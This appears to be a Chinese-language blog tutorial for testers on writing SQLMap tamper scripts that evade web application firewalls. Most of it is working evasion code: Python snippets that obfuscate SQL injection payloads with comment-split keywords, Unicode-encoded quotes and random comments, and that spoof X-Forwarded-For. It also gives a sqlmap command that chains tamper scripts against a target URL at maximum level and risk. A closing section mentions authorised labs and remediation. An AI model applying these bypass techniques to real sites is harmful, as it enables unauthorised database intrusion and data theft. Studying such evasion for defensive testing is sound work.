一、Tamper脚本的核心价值
现代WAF通过正则匹配、语义分析和行为建模拦截SQL注入。Tamper脚本作为SQLMap的“请求变形器”,在三个层面实现绕过:
二、Tamper脚本编写实战
步骤1:基础结构
每个Tamper脚本需包含优先级声明、依赖项检查及核心篡改函数:
from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL # 控制多脚本执行顺序 def dependencies(): pass # 声明适用环境(如仅MySQL) def tamper(payload, **kwargs): if payload: payload = payload.replace("UNION", "UNI/**/ON") # 分割关键字绕过过滤 return payload
关键参数:
- payload:原始注入语句
- kwargs:数据库类型、注入点等元数据
步骤2:绕过常见WAF规则
-
案例1:绕过单引号过滤 使用Unicode编码替代单引号(如apostrophemask.py):
payload = payload.replace("'", "%EF%BC%87") # 单引号 → Unicode
-
案例2:混淆空格与函数名 针对过滤SELECT * FROM的规则:
payload = payload.replace(" ", "/**/") # 空格 → 注释 payload = payload.replace("DATABASE()", "DATA/**/BASE()") # 分割函数名
步骤3:组合脚本增强绕过
通过–tamper加载多脚本,形成分层混淆:
sqlmap -u "http://target.com/?id=1" –tamper="apostrophemask,space2comment,base64encode"
技巧:优先使用–level=5 –risk=3确保检测强度。
三、高级绕过策略
动态负载生成 利用随机注释符干扰正则匹配(如randomcomments.py):
def tamper(payload, **kwargs): return payload.replace("AND", "A/*{}*/ND".format(random.randstr(3)))
协议级绕过 修改HTTP头伪装合法流量:
headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = "127.0.0.1" # 伪造来源IP
AI辅助绕过 使用GAN生成拟态注入载荷,模拟正常业务流量特征。
四、测试环境与合规实践
- 环境搭建: 使用OWASP BWA或DVWA部署含WAF的靶场(如ModSecurity + CRS)。
- 日志分析: 通过–logs-dir保存请求日志,优化Tamper逻辑。
- 合规要求: 仅限授权测试,避免法律风险;测试后修复漏洞(如参数化查询)。
资源:
- SQLMap官方Tamper脚本目录:/usr/share/sqlmap/tamper
- 脚本开发模板:参考charencode.py编码逻辑
结语
Tamper脚本是绕过WAF的动态武器库,其核心在于理解WAF规则并针对性变形载荷。软件测试人员需持续关注WAF演进(如AI防御升级),通过攻防演练迭代脚本。
精选文章:
AI Test:AI 测试平台落地实践!
部署一套完整的 Prometheus+Grafana 智能监控告警系统
微服务架构下的契约测试实践
网硕互联帮助中心



评论前必须登录!
注册